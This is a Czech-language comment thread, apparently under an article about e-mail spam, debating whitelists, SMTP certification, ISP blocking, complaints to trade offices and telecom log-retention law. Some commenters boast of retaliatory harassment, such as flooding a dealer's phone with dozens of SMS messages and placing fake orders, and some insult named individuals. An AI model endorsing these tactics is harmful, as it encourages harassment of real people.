Tak to abych zacal - Ahold, Tesco stores, Media Hall, Jena, Baumax, Futurum, Bauhaus, Hornbach, Pramos, Obi, Proton, Elektro Spacil, Interspar... (pokud hledate Globus, verte ze mi opravdu nechodi, nevim proc, bylo by vice na podpal)

Jedinou vyjimkou je Makro Cash & Carry, vse ostatni se v me schrance z 99.9% da oznacit jako spam...:-(

Zvlastni, ze treba Palace Cinemas se k podobnemu kroku nesnizi a radeji zaplati, aby je zastupovali vcelku sikovni obchodni zastupci...

... za devcaty z Brna chod...:-)

Mimochodem prave jsem se vratil ze statlu a neni to vubec spatny...'-)

To je samozrejme nesmysl, protoze uz ted spammeri ziskavaji
adresy ke spamovani pomoci ruznych viru, trojanu, spywaru
a podobne haveti. Takze nebude velky problem to doplnit
o matchovani typu, kdyz jsou tyhle dve adresy na jednom
pocitaci, tak budou whitelistovane.

Druha moznost je zaspamovat adresu miliony a miliony zprav
a kdyz nejaka projde tak projde... Uz ted spammeri pouzivaji
tyhle taktiky.

Nehlede na to, ze whitelisty jsou k nicemu, pokud email
opravdu chcete pouzivat. To je jako kdybyste nemel postovni
schranku a jenom mamince a babicce rekl, ze vam maji
postu strkat pod dvere...

O.

Ja na jednu stranu chapu, ze tomu pani inzenyrka nerozumi,
co ale nechapu, proc si tam sakra neporidej nekoho, kdo
tomu rozumet bude. Preci ji nebudu pokazde pripravovat
kucharku, jak ma postupovat a kde ma zadat podklady :-(.

A nakonec to cele stejne skonci u poskytovatele schranek
toho zaspamovaneho stezovatele, kde muzeme poskytnout
akorat vypisy z logu mailserveru na ktere v zapeti dostaneme
odpoved, ze to neni prukazne...

Uz jsem uvazoval i o podani stiznosti na nadrizeny organ...
Jenze kdo ma furt chodit na postu, aby si tam vyzvedaval
obalky :-(

O.

Rozum a chtíč nemohou být v opozici natrvalo

Vidím, že nejsem jediný, komu paní ing. V. J. připadá jako z jiného světa. Ono se mi zdá, že pražský ŽÚ zaujal zvláštní postoj - nepřijímá podání od občanů, která by měl vyšetřit. On chce rovnou důkazy, svědecký výpovědi a místopřísežná prohlášení. Pak se jimi teprve bude milostivě zabývat. A případný výsledek? Ten se s ohledem na obchodní tajemství nesmí zveřejnit. Pst...

LOL a certifikace bude spočívat v kulatém razítku u nás za 500 a ve světě za 1 USD, co? ;-))

Tohle je kravina. Whitelist si muzes dovolit u emailu, ktery pouzivas jen k dopisovani s rodinou, spoluzaky, ..., proste uzavrenou skupinou. Email pouze k tomuhle ma jen malo kdo a pokud ho pouziva jen takhle a nema neco jako treba Katka@domena, nebo jiny snadno odhadnutelny email, tak se nemusi prilis zabyvat ani tim whitelistem.
Radej nejaka certifikace u SMTP, aby si kazdy kdo ma diru vzatku a pripojeni na net nemohl snadno udelat vlastni smtp. Kdyby server prijemce emaily z necertifikovaneho SMTP zahazoval tak to nebude tak horke ani ze spamem ani s viry, ktere maji vlastni smtp.

SPAMer nemá možnost zjistit adresy na whitelistu, takže těžko je zneužije.

Na druhou stranu se zahranicni spamy dobrym spamfilterem
daji pochytat az s 99.9% pravdepodobnosti a zadnym vyskytem
false positives. V obouch schrankach, ktere mam (firemni
a soukroma) se pres vikend ve slozce s odchytanym spamem
dohromady objevi neco pod 1000 zprav a i kdyz radeji obsah
pred smazanim kontroluju neobjevila ze zadna dobra spatne
zarazena zprava uz nekolik mesicu.

O.

No co, postupně začnou lidé používat white-listy. Prostě pokud mi email nepřijde ode mnou povolené adresy, tak se ještě na serveru smaže.

Jakmile se toto rozšíří, spam bude mít na chvíli problém.

Samozřejmě spameři hned začnou zneužívat adresy vašich kamarádů, kolegů apod. To se pak budete po divit po podnikové ožíračce, že vám nabídku na zvětšení penisu posílá nová kolegyně :)

No a reakcí na toto bude podepisování emailů (PGP apod). Nepodepsaný email prostě bude smazán na serveru. Konec spamu.

Mne chodily klasickou postou neustale nejake nabidky na enciklopedie letadel auta kucharky atd. Az jsem jim jednou poslal na jejich naklady objednavku ve ktere jsem podtrhl ze chci avizovany darek ZDARMA a kupodivu, nejenze, jsem ani nemusel ignorovat zasilku, ktera neprisla, ale prestali mi podobne nabidky chodit.

Dobry napad. Ted to posila pres anonymni dialup, poskytovany MfD. Stejne posilal pres VOLy, Contactel a IOL. Anonymni dialup nebo free pristup typu Quick. Chcete blokovat vsechny tyhle ISPcka? IOL snad umi zablokovat pristup na urovni telefonniho cisla, ostatni... tezko rict. Navic chlapik muze pochopitelne pristupovat z ruznych cisel, pres GPRS, jakkoliv. Ono to bohuzel neni uplne jednoduche...

Pokud by mi chodilo tolik spamu, kolik mi ho chodí, jen z Česka, radoval bych se. Mohl bych dělat to, co tady FF navrhuje, mohl bych podávat stížnosti a pár dalších věcí.

Jenže ten největší problém je v tom, že mi chodí spamy právě ze zahraničí inzerující výše uvedené zboží.

Jak tedy naložit s těmito spamy, proti kterým není prakticky zatím moc účinné obrany? Tak a babo raď... Zahraniční firma vám těžko pošle něco na dobírku, to by museli být padlí na hlavu.

Obratit se na toho, kdo tomu SPAMerovi poskytuje konektivitu. Pokud to odmitne uspokojive resit, zablokovat kompletne toho ISP - pak si to (pokud ho zablokuje vic siti a lidi) nejspis rozmysli. A SPAMer bude jen tezko hledat nekoho dalsiho, kdo ho pripoji. Toto by SPAMing omezilo ucinne.

Nebloguje Vám trochu?

Něco podobného kdysi zkusil bratr, když mu byly neustále posílány (tehdy ještě klasickou poštou) spamy. Objednal si od každého zboží, co bylo v katalogu, 5 kusů (celkovou částku ani nechtějte vědět). Pochopitelně poštu nepřijal, protože "si nic neobjednal". Od té doby mu už ta firma spam nikdy neposlala :-).

WIFT

Sice nemám chuť si dopisovat s člověkem, který se neumí
podepsat vlastním jménem a jediné co dokáže je druhého
napadat, nicméně copy&paste ze zákona o telekomunikacích
151/2000 Sb mě nezabije:

§ 84
[...]
(3) Předmětem telekomunikačního tajemství

a) je obsah zpráv přepravovaných nebo jinak zprostředkovaných telekomunikačními zařízeními a sítěmi s výjimkou zpráv určených veřejnosti,

b) jsou provozní doklady, z jejichž obsahu je zjevný obsah přepravovaných zpráv,

c) jsou data související s poskytováním telekomunikační služby, zejména údaje o účastnících telekomunikačního spojení.

[...]
(7) Data podle odstavce 5, jakož i data, která jsou předmětem telekomunikačního tajemství, musí být po uplynutí dvou měsíců od ukončení telekomunikačního spojení vymazána nebo učiněna anonymními.
[...]

O.

P.S.: A prosím aby další reakce byla nějaká duchaplná.

Telekomunikační logy "se musi mazat"? Clovece, vas snad uci Franta Fuka.

Rozum a František Fuka zůstávají v opozici natrvalo

Doporucuju vsem, aby v pripade, ze je to cesky spam
podavali stiznosti na porusovani zakona o regulaci
reklamy na zivnostenske odbory prislusne sidlu spammera.

Krome Prahy, kde sedi pani inzenyrka Venuska Jandova,
ktera tomu vubec, ale vubec nerozumi, se s tim snad
i neco deje.

A pokud uz nejakou takovou stiznost budete davat, tak
doporucuju dodat ZU vsechny mozne podklady, ktere jste
sami schopni dodat, abyste si s nima pak nedopisovali
dalsi dva mesice. Telekomunikacni logy se museji mazat
(nebo anonymizovat) presne po tech dvou mesicich, takze
cim driv se cela vec zacne resit, tim vetsi je sance,
ze se neco stane.

S pozdravem,
Ondřej Surý.

No, já jsem se po neúspěšné žádosti o vyřazení ze seznamu adres, na které je spam od JEDNICKAR.com zasílán, obrátil na úřady - možná bych ještě někde vyhrabal odpověď - opravdová lahůdka - prý nemůžou nic dělat, prý musím dokázat, že je to opravdu od odesílatele, abych jim poslal logy (už vidím, jak mi poskytovatelé freehostingu a internetového připojení zasílají výpisy). Tak nevím, možná, když příslušné úřady začnou bombarodvat se stížnostmi i ostatní uživatelé, že se tomu přeci jen budou trošku věnovat.

Brno je zlata lod!

Brno jsou spameři?

Nad tímhle jsem už taky uvažoval, ale účinnost nebude stát za vynaloženou námahu. Minimálně 99% nabídek na penis, jenž dotýká se hvězd, oem warez, ... je ze zemí, kde mají spameři mnohem propracovanější systém a člověk po 5. klepnuti myšáka končí u výběru VISA, Mastercard, American express. Těch několik málo českých nabídek se v tom množství ztratí a někdy to jde i jednodušeji. Např. mně otravovala nějaká kráva z Avonu. Při první nabídce jsem ji jen odepsal, že o tyhle nabídky nestojím. Bylo mi jasné, že můj mail si určitě vymyslela nějaká tupá ženská, když se tam registrovala jako zákaznice. Když mi za měsíc přišla tahle nabídka znova, tak jsem žádost opakoval. Jen jsem místo mailu použil telefonní číslo milé dealerky a poslal ji několik desítek těchto žádostí pře bránu Oskara. Nabídky už nechodí. Pak tu byl nějaký panáček prodávající mobily na Václaváku. Jeho neodolatelné nabídky jsem párkrát přeposlal na ČOI. Nevím jestli je to tím, ale už mi taky nechodí.

Mel jsem stejny napad a od pana Jednickare jsem si uz driv zbozi objednal jako podekovani za spam.
Samozrejme na neexistujici adresu.

...vražda.

Obavam se, ze to je asi jedina moznost, jak tomu panovi, co stoji za jednickar.com, neco vysvetlit. A asi obecne vsem, kteri pouzivaji spam jako 'obchodni model'. A asi obecne vsem, kteri berou dobre mravy, (n)etiketu a podobne burzoazni, pardon, dnes jiz komunisticke prezitky jako omezovani sveho buzinecu (zdravim slecnu Vladanu Petrzilkovou, pana Alese Slabeho a jim podobne). Pro svuj nazor mam par duvodu - jednak jsem sledoval nekolik diskusi, jichz se tito typci zucastnili, jednak jsem cetl ten slavny rozhovor s panem Slabym, a na zaver jsem coby spravce jednoho docela velkeho postovniho serveru mel tu cest s jejich obchodnimi aktivitami tak nejak naprimo. Oni to ale asi opravdu nechapou. Ten pan s jednickami z diktatu se ted s nami hodla soudit, ze jsme mu zamezili pristup ke sluzbe, kterou si on prece zaplatil. Stezuje si na nas u CTU a tak podobne. Ja na jeho miste bych nekam zalezl a tam se stydel. Takze se tazi: mate nekdo lepsi napad nez pan Fuka?